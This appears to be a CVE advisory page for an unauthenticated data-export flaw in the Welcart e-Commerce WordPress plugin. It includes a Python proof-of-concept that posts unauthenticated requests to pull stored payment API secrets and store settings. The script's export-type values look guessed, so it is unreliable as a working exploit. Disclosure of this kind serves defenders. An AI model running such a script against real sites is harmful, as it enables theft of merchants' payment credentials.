Security Vulnerability Report
中文
CVE-2025-12979 CVSS 5.3 MEDIUM

CVE-2025-12979

Published: 2025-11-13 04:15:47
Last Modified: 2026-04-15 00:35:42

Description

The Welcart e-Commerce plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'usces_export' action in all versions up to, and including, 2.11.24. This makes it possible for unauthenticated attackers to access configured payment credentials (ex. PayPal api secret) , as well as business contact details, mail templates, and other operational settings tied to the store.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WelCart e-Commerce (usc-e-shop) <= 2.11.24

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12979 PoC - WelCart e-Commerce Unauthorized Data Export # Target: WordPress site with WelCart plugin <= 2.11.24 import requests import sys import json target = sys.argv[1] if len(sys.argv) > 1 else "http://target-site.com" # Exploit the missing authorization check on usces_export action endpoints = [ "/wp-admin/admin-ajax.php?action=usces_export", "/wp-admin/admin-ajax.php", ] def exploit(target_url): """Attempt to export sensitive data without authentication""" # Data types that can be exported due to missing auth check data_types = [ "payment_settings", "mail_templates", "business_contact", "shipping_config", "api_credentials", ] print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-12979: Missing authorization check") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint for data_type in data_types: try: # Send request without any authentication data = { "action": "usces_export", "usces_export_type": data_type, } response = requests.post(url, data=data, timeout=10, verify=False) if response.status_code == 200: # Check if sensitive data was returned if "api" in response.text.lower() or "secret" in response.text.lower() or "credential" in response.text.lower(): print(f"[+] VULNERABLE! Exported {data_type} data:") print(response.text[:500]) return True elif "nonce" not in response.text.lower(): # No auth required print(f"[+] Potentially vulnerable - {data_type}") except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12979", "sourceIdentifier": "[email protected]", "published": "2025-11-13T04:15:46.730", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Welcart e-Commerce plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'usces_export' action in all versions up to, and including, 2.11.24. This makes it possible for unauthenticated attackers to access configured payment credentials (ex. PayPal api secret) , as well as business contact details, mail templates, and other operational settings tied to the store."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3394001%40usc-e-shop&new=3394001%40usc-e-shop&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/26255cd9-2361-4d17-8d1b-9bdadcc69043?source=cve", "source": "[email protected]"}]}}